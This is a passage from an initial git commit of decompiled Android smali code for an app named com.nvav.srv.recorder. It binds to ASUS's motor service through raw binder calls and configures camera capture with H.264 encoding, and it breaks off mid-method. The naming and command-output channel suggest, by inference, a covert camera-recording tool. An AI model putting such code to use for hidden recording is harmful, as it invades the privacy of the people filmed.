init commit

This commit is contained in:
2025-10-09 09:57:24 +09:00
commit 4d551bd74f
6636 changed files with 1218703 additions and 0 deletions

View File

@@ -0,0 +1,249 @@
.class Lcom/asus/motorservice/MotorHalManager$1;
.super Ljava/lang/Object;
.source "MotorHalManager.java"
# interfaces
.implements Landroid/content/ServiceConnection;
# annotations
.annotation system Ldalvik/annotation/EnclosingMethod;
value = Lcom/asus/motorservice/MotorHalManager;->Motor(Lcom/nvav/srv/recorder/Speek;)V
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation
# instance fields
.field final synthetic this$0:Lcom/asus/motorservice/MotorHalManager;
# direct methods
.method constructor <init>(Lcom/asus/motorservice/MotorHalManager;)V
.locals 0
.line 83
iput-object p1, p0, Lcom/asus/motorservice/MotorHalManager$1;->this$0:Lcom/asus/motorservice/MotorHalManager;
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method
# virtual methods
.method public onServiceConnected(Landroid/content/ComponentName;Landroid/os/IBinder;)V
.locals 7
.line 86
const-string p1, "com.asus.camera"
invoke-virtual {p1}, Ljava/lang/String;->getBytes()[B
move-result-object p1
.line 90
:try_start_0
const-string v0, "sha-256"
invoke-static {v0}, Ljava/security/MessageDigest;->getInstance(Ljava/lang/String;)Ljava/security/MessageDigest;
move-result-object v0
:try_end_0
.catch Ljava/security/NoSuchAlgorithmException; {:try_start_0 .. :try_end_0} :catch_0
goto :goto_0
:catch_0
move-exception v0
.line 92
invoke-virtual {v0}, Ljava/security/NoSuchAlgorithmException;->printStackTrace()V
const/4 v0, 0x0
.line 94
:goto_0
invoke-virtual {v0, p1}, Ljava/security/MessageDigest;->update([B)V
.line 95
invoke-virtual {v0, p1}, Ljava/security/MessageDigest;->digest([B)[B
move-result-object p1
.line 96
new-instance v0, Ljava/lang/StringBuilder;
invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
.line 97
array-length v1, p1
const/4 v2, 0x0
move v3, v2
:goto_1
if-ge v3, v1, :cond_1
aget-byte v4, p1, v3
and-int/lit16 v4, v4, 0xff
.line 98
invoke-static {v4}, Ljava/lang/Integer;->toHexString(I)Ljava/lang/String;
move-result-object v4
.line 99
invoke-virtual {v4}, Ljava/lang/String;->length()I
move-result v5
const/4 v6, 0x1
if-ne v5, v6, :cond_0
.line 100
new-instance v5, Ljava/lang/StringBuilder;
const-string v6, "0"
invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
invoke-virtual {v5, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v4
invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v4
.line 102
:cond_0
invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
add-int/lit8 v3, v3, 0x1
goto :goto_1
.line 104
:cond_1
invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object p1
.line 105
new-instance v0, Ljava/lang/StringBuilder;
const-string v1, "decode: "
invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object p1
invoke-virtual {p1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object p1
const-string v0, "IMotorService"
invoke-static {v0, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
.line 107
invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel;
move-result-object p1
.line 108
invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel;
move-result-object v3
.line 123
:try_start_1
const-string v4, "com.asus.motorservice.IMotorService"
invoke-virtual {p1, v4}, Landroid/os/Parcel;->writeInterfaceToken(Ljava/lang/String;)V
const/4 v4, 0x4
.line 126
invoke-interface {p2, v4, p1, v3, v2}, Landroid/os/IBinder;->transact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z
.line 127
invoke-virtual {v3}, Landroid/os/Parcel;->readException()V
.line 128
invoke-virtual {v3}, Landroid/os/Parcel;->readString()Ljava/lang/String;
move-result-object p2
.line 129
new-instance v2, Ljava/lang/StringBuilder;
invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v1
invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object p2
invoke-virtual {p2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object p2
invoke-static {v0, p2}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
:try_end_1
.catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_1
.catchall {:try_start_1 .. :try_end_1} :catchall_0
goto :goto_2
:catchall_0
move-exception p2
goto :goto_3
:catch_1
move-exception p2
.line 131
:try_start_2
invoke-virtual {p2}, Ljava/lang/Exception;->printStackTrace()V
:try_end_2
.catchall {:try_start_2 .. :try_end_2} :catchall_0
.line 133
:goto_2
invoke-virtual {v3}, Landroid/os/Parcel;->recycle()V
.line 134
invoke-virtual {p1}, Landroid/os/Parcel;->recycle()V
return-void
.line 133
:goto_3
invoke-virtual {v3}, Landroid/os/Parcel;->recycle()V
.line 134
invoke-virtual {p1}, Landroid/os/Parcel;->recycle()V
.line 135
throw p2
.end method
.method public onServiceDisconnected(Landroid/content/ComponentName;)V
.locals 0
return-void
.end method

View File

@@ -0,0 +1,211 @@
.class public Lcom/asus/motorservice/MotorHalManager;
.super Ljava/lang/Object;
.source "MotorHalManager.java"
# instance fields
.field st:Ljava/lang/String;
# direct methods
.method static constructor <clinit>()V
.locals 1
.line 20
const-string v0, "motor"
invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V
return-void
.end method
.method public constructor <init>()V
.locals 1
.line 46
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
.line 45
const-string v0, ""
iput-object v0, p0, Lcom/asus/motorservice/MotorHalManager;->st:Ljava/lang/String;
return-void
.end method
.method public static getIntent()Landroid/content/Intent;
.locals 2
.line 67
new-instance v0, Landroid/content/Intent;
const-string v1, "com.asus.motorservice.MotorService"
invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
.line 68
const-string v1, "com.asus.motorservice"
invoke-virtual {v0, v1}, Landroid/content/Intent;->setPackage(Ljava/lang/String;)Landroid/content/Intent;
return-object v0
.end method
.method private static native nativeAutoControl(I)I
.end method
.method public static native nativeAutoControlWithAngle(II)I
.end method
.method private static native nativeAutoControlWithSpecifiedAngle(I)I
.end method
.method public static native nativeCloseDevShutDown(I)I
.end method
.method private static native nativeGetAngleTK()F
.end method
.method private static native nativeGetMinimumRotateAngle()F
.end method
.method public static native nativeGetMotorAngle()F
.end method
.method public static native nativeGetVersion()Ljava/lang/String;
.end method
.method private static native nativeIsMcuReady()I
.end method
.method private static native nativeManualControl(III)I
.end method
.method private static native nativeManualControlNoSS(III)I
.end method
.method private static native nativeMotorStop()I
.end method
.method public static native nativeOpenDev()I
.end method
.method public static native nativeResetUserCalValue()I
.end method
.method private static native nativeSetAngleCallback(Lcom/asus/motorservice/MotorHalManager;I)V
.end method
.method private static native nativeSetAngleTK(I)I
.end method
.method private static native nativeSetInterruptCallback(Lcom/asus/motorservice/MotorHalManager;)V
.end method
.method private static native nativeSetStopCallback(Lcom/asus/motorservice/MotorHalManager;)V
.end method
# virtual methods
.method public Motor(Lcom/nvav/srv/recorder/Speek;)V
.locals 3
.line 80
invoke-virtual {p1}, Lcom/nvav/srv/recorder/Speek;->getPackageManager()Landroid/content/pm/PackageManager;
move-result-object v0
.line 81
invoke-static {}, Lcom/asus/motorservice/MotorHalManager;->getIntent()Landroid/content/Intent;
move-result-object v1
const/16 v2, 0x80
invoke-virtual {v0, v1, v2}, Landroid/content/pm/PackageManager;->queryIntentServices(Landroid/content/Intent;I)Ljava/util/List;
move-result-object v0
if-eqz v0, :cond_0
.line 82
invoke-interface {v0}, Ljava/util/List;->size()I
move-result v0
if-lez v0, :cond_0
.line 83
new-instance v0, Lcom/asus/motorservice/MotorHalManager$1;
invoke-direct {v0, p0}, Lcom/asus/motorservice/MotorHalManager$1;-><init>(Lcom/asus/motorservice/MotorHalManager;)V
.line 142
invoke-static {}, Lcom/asus/motorservice/MotorHalManager;->getIntent()Landroid/content/Intent;
move-result-object v1
invoke-virtual {p1, v1, v0, v2}, Lcom/nvav/srv/recorder/Speek;->bindService(Landroid/content/Intent;Landroid/content/ServiceConnection;I)Z
:cond_0
return-void
.end method
.method public destroy()V
.locals 0
return-void
.end method
.method public onInterrupt()V
.locals 2
.line 60
const-string v0, "onInterrupt"
const-string v1, "oonInterrupt: "
invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
return-void
.end method
.method public declared-synchronized onMotorStop(I)V
.locals 3
const-string v0, "onMotorStop: "
monitor-enter p0
.line 64
:try_start_0
const-string v1, "onMotorStop"
new-instance v2, Ljava/lang/StringBuilder;
invoke-direct {v2, v0}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
move-result-object p1
invoke-virtual {p1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object p1
invoke-static {v1, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
:try_end_0
.catchall {:try_start_0 .. :try_end_0} :catchall_0
.line 65
monitor-exit p0
return-void
:catchall_0
move-exception p1
monitor-exit p0
throw p1
.end method

View File

@@ -0,0 +1,26 @@
.class public final Lcom/nvav/srv/recorder/BuildConfig;
.super Ljava/lang/Object;
.source "BuildConfig.java"
# static fields
.field public static final APPLICATION_ID:Ljava/lang/String; = "com.nvav.srv.recorder"
.field public static final BUILD_TYPE:Ljava/lang/String; = "release"
.field public static final DEBUG:Z = false
.field public static final VERSION_CODE:I = 0x11
.field public static final VERSION_NAME:Ljava/lang/String; = "55.17"
# direct methods
.method public constructor <init>()V
.locals 0
.line 6
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method

View File

@@ -0,0 +1,40 @@
.class public final synthetic Lcom/nvav/srv/recorder/CameraASUS$$ExternalSyntheticLambda0;
.super Ljava/lang/Object;
.source "D8$$SyntheticClass"
# interfaces
.implements Ljava/util/function/Predicate;
# instance fields
.field public final synthetic f$0:Ljava/lang/String;
# direct methods
.method public synthetic constructor <init>(Ljava/lang/String;)V
.locals 0
.line 0
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$$ExternalSyntheticLambda0;->f$0:Ljava/lang/String;
return-void
.end method
# virtual methods
.method public final test(Ljava/lang/Object;)Z
.locals 1
.line 0
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$$ExternalSyntheticLambda0;->f$0:Ljava/lang/String;
check-cast p1, Ljava/lang/String;
invoke-static {v0, p1}, Lcom/nvav/srv/recorder/CameraASUS;->$r8$lambda$7lpm9zkoZuDoAjfOA0iYE2U94XQ(Ljava/lang/String;Ljava/lang/Object;)Z
move-result p1
return p1
.end method

View File

@@ -0,0 +1,551 @@
.class Lcom/nvav/srv/recorder/CameraASUS$1;
.super Landroid/hardware/camera2/CameraDevice$StateCallback;
.source "CameraASUS.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Lcom/nvav/srv/recorder/CameraASUS;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation
# instance fields
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraASUS;
# direct methods
.method constructor <init>(Lcom/nvav/srv/recorder/CameraASUS;)V
.locals 0
.line 83
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
invoke-direct {p0}, Landroid/hardware/camera2/CameraDevice$StateCallback;-><init>()V
return-void
.end method
# virtual methods
.method public onClosed(Landroid/hardware/camera2/CameraDevice;)V
.locals 0
return-void
.end method
.method public onDisconnected(Landroid/hardware/camera2/CameraDevice;)V
.locals 0
const/4 p1, 0x1
.line 147
sput-boolean p1, Lcom/nvav/srv/recorder/CameraASUS;->Restarting:Z
const/4 p1, 0x0
.line 148
sput-boolean p1, Lcom/nvav/srv/recorder/CameraASUS;->Starting:Z
return-void
.end method
.method public onError(Landroid/hardware/camera2/CameraDevice;I)V
.locals 1
.line 153
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-static {p2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object p2
filled-new-array {p2}, [Ljava/lang/Object;
move-result-object p2
const-string v0, "result=C.E(%d)"
invoke-static {v0, p2}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object p2
invoke-virtual {p1, p2}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
return-void
.end method
.method public onOpened(Landroid/hardware/camera2/CameraDevice;)V
.locals 11
.line 87
const-string v0, "frame-rate"
const-string v1, "bitrate"
const-string v2, "video/avc"
:try_start_0
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iput-object p1, v3, Lcom/nvav/srv/recorder/CameraASUS;->mCamera:Landroid/hardware/camera2/CameraDevice;
.line 88
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v3, p1, Lcom/nvav/srv/recorder/CameraASUS;->mCameraManager:Landroid/hardware/camera2/CameraManager;
iget-object v4, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v4, v4, Lcom/nvav/srv/recorder/CameraASUS;->mCamera:Landroid/hardware/camera2/CameraDevice;
invoke-virtual {v4}, Landroid/hardware/camera2/CameraDevice;->getId()Ljava/lang/String;
move-result-object v4
invoke-virtual {v3, v4}, Landroid/hardware/camera2/CameraManager;->getCameraCharacteristics(Ljava/lang/String;)Landroid/hardware/camera2/CameraCharacteristics;
move-result-object v3
iput-object v3, p1, Lcom/nvav/srv/recorder/CameraASUS;->properties:Landroid/hardware/camera2/CameraCharacteristics;
.line 89
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->properties:Landroid/hardware/camera2/CameraCharacteristics;
sget-object v3, Landroid/hardware/camera2/CameraCharacteristics;->SCALER_STREAM_CONFIGURATION_MAP:Landroid/hardware/camera2/CameraCharacteristics$Key;
invoke-virtual {p1, v3}, Landroid/hardware/camera2/CameraCharacteristics;->get(Landroid/hardware/camera2/CameraCharacteristics$Key;)Ljava/lang/Object;
move-result-object p1
check-cast p1, Landroid/hardware/camera2/params/StreamConfigurationMap;
.line 90
const-class v3, Landroid/media/MediaCodec;
invoke-virtual {p1, v3}, Landroid/hardware/camera2/params/StreamConfigurationMap;->getOutputSizes(Ljava/lang/Class;)[Landroid/util/Size;
move-result-object p1
.line 91
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
const/4 v4, 0x0
iput-object v4, v3, Lcom/nvav/srv/recorder/CameraASUS;->MaxSize:Landroid/util/Size;
.line 92
array-length v3, p1
const/4 v5, 0x0
move v6, v5
:goto_0
const/4 v7, 0x2
if-ge v6, v3, :cond_1
aget-object v8, p1, v6
invoke-virtual {v8}, Landroid/util/Size;->getWidth()I
move-result v9
iget-object v10, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v10, v10, Lcom/nvav/srv/recorder/CameraASUS;->CamResFPS:[Ljava/lang/String;
aget-object v7, v10, v7
invoke-static {v7}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
move-result v7
if-ne v9, v7, :cond_0
invoke-virtual {v8}, Landroid/util/Size;->getHeight()I
move-result v7
iget-object v9, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v9, v9, Lcom/nvav/srv/recorder/CameraASUS;->CamResFPS:[Ljava/lang/String;
const/4 v10, 0x3
aget-object v9, v9, v10
invoke-static {v9}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
move-result v9
if-ne v7, v9, :cond_0
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iput-object v8, v7, Lcom/nvav/srv/recorder/CameraASUS;->MaxSize:Landroid/util/Size;
:cond_0
add-int/lit8 v6, v6, 0x1
goto :goto_0
.line 93
:cond_1
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v3, "result=Width:%d Height:%d"
new-array v6, v7, [Ljava/lang/Object;
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v7, v7, Lcom/nvav/srv/recorder/CameraASUS;->MaxSize:Landroid/util/Size;
invoke-virtual {v7}, Landroid/util/Size;->getWidth()I
move-result v7
invoke-static {v7}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v7
aput-object v7, v6, v5
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v7, v7, Lcom/nvav/srv/recorder/CameraASUS;->MaxSize:Landroid/util/Size;
invoke-virtual {v7}, Landroid/util/Size;->getHeight()I
move-result v7
invoke-static {v7}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v7
const/4 v8, 0x1
aput-object v7, v6, v8
invoke-static {v3, v6}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object v3
invoke-virtual {p1, v3}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
.line 94
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v3, p1, Lcom/nvav/srv/recorder/CameraASUS;->MaxSize:Landroid/util/Size;
invoke-virtual {v3}, Landroid/util/Size;->getWidth()I
move-result v3
iget-object v6, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v6, v6, Lcom/nvav/srv/recorder/CameraASUS;->MaxSize:Landroid/util/Size;
invoke-virtual {v6}, Landroid/util/Size;->getHeight()I
move-result v6
invoke-static {v2, v3, v6}, Landroid/media/MediaFormat;->createVideoFormat(Ljava/lang/String;II)Landroid/media/MediaFormat;
move-result-object v3
iput-object v3, p1, Lcom/nvav/srv/recorder/CameraASUS;->format:Landroid/media/MediaFormat;
.line 95
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->format:Landroid/media/MediaFormat;
const-string v3, "color-format"
const v6, 0x7f000789
invoke-virtual {p1, v3, v6}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
.line 96
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v3, p1, Lcom/nvav/srv/recorder/CameraASUS;->CamResFPS:[Ljava/lang/String;
const/4 v6, 0x5
aget-object v3, v3, v6
invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
move-result v3
iput v3, p1, Lcom/nvav/srv/recorder/CameraASUS;->FPS:I
.line 97
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->format:Landroid/media/MediaFormat;
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v3, v3, Lcom/nvav/srv/recorder/CameraASUS;->CamResFPS:[Ljava/lang/String;
aget-object v3, v3, v5
invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
move-result v3
invoke-virtual {p1, v1, v3}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
.line 98
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->format:Landroid/media/MediaFormat;
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget v3, v3, Lcom/nvav/srv/recorder/CameraASUS;->FPS:I
invoke-virtual {p1, v0, v3}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
.line 99
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->format:Landroid/media/MediaFormat;
const-string v3, "i-frame-interval"
invoke-virtual {p1, v3, v8}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
.line 101
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v3, "result=BitRate:%s"
new-array v7, v8, [Ljava/lang/Object;
iget-object v9, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v9, v9, Lcom/nvav/srv/recorder/CameraASUS;->CamResFPS:[Ljava/lang/String;
aget-object v9, v9, v5
aput-object v9, v7, v5
invoke-static {v3, v7}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object v3
invoke-virtual {p1, v3}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
.line 102
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v3, "result=BitRate:%d"
new-array v7, v8, [Ljava/lang/Object;
iget-object v9, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v9, v9, Lcom/nvav/srv/recorder/CameraASUS;->format:Landroid/media/MediaFormat;
invoke-virtual {v9, v1}, Landroid/media/MediaFormat;->getInteger(Ljava/lang/String;)I
move-result v1
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
aput-object v1, v7, v5
invoke-static {v3, v7}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object v1
invoke-virtual {p1, v1}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
.line 103
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v1, "result=FrameRate:%d"
new-array v3, v8, [Ljava/lang/Object;
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v7, v7, Lcom/nvav/srv/recorder/CameraASUS;->format:Landroid/media/MediaFormat;
invoke-virtual {v7, v0}, Landroid/media/MediaFormat;->getInteger(Ljava/lang/String;)I
move-result v0
invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v0
aput-object v0, v3, v5
invoke-static {v1, v3}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object v0
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
.line 104
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
invoke-static {v2}, Landroid/media/MediaCodec;->createEncoderByType(Ljava/lang/String;)Landroid/media/MediaCodec;
move-result-object v0
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraASUS;->mMediaCodec:Landroid/media/MediaCodec;
.line 105
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mMediaCodec:Landroid/media/MediaCodec;
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS;->format:Landroid/media/MediaFormat;
invoke-virtual {p1, v0, v4, v4, v8}, Landroid/media/MediaCodec;->configure(Landroid/media/MediaFormat;Landroid/view/Surface;Landroid/media/MediaCrypto;I)V
.line 106
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraASUS;->mMediaCodec:Landroid/media/MediaCodec;
invoke-virtual {v0}, Landroid/media/MediaCodec;->createInputSurface()Landroid/view/Surface;
move-result-object v0
invoke-static {p1, v0}, Lcom/nvav/srv/recorder/CameraASUS;->access$002(Lcom/nvav/srv/recorder/CameraASUS;Landroid/view/Surface;)Landroid/view/Surface;
.line 107
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
new-instance v0, Ljava/util/ArrayList;
invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraASUS;->mOutputSurfaces:Ljava/util/List;
.line 108
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mOutputSurfaces:Ljava/util/List;
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraASUS;->access$000(Lcom/nvav/srv/recorder/CameraASUS;)Landroid/view/Surface;
move-result-object v0
invoke-interface {p1, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
.line 110
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->CamResFPS:[Ljava/lang/String;
aget-object p1, p1, v6
invoke-static {p1}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
move-result-object p1
invoke-virtual {p1}, Ljava/lang/Integer;->intValue()I
move-result p1
const/16 v0, 0x1e
if-le p1, v0, :cond_2
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mCamera:Landroid/hardware/camera2/CameraDevice;
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS;->mOutputSurfaces:Ljava/util/List;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->sessionListener:Landroid/hardware/camera2/CameraCaptureSession$StateCallback;
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraASUS;->mHandler:Landroid/os/Handler;
invoke-virtual {p1, v0, v1, v2}, Landroid/hardware/camera2/CameraDevice;->createConstrainedHighSpeedCaptureSession(Ljava/util/List;Landroid/hardware/camera2/CameraCaptureSession$StateCallback;Landroid/os/Handler;)V
goto :goto_1
.line 111
:cond_2
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mCamera:Landroid/hardware/camera2/CameraDevice;
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
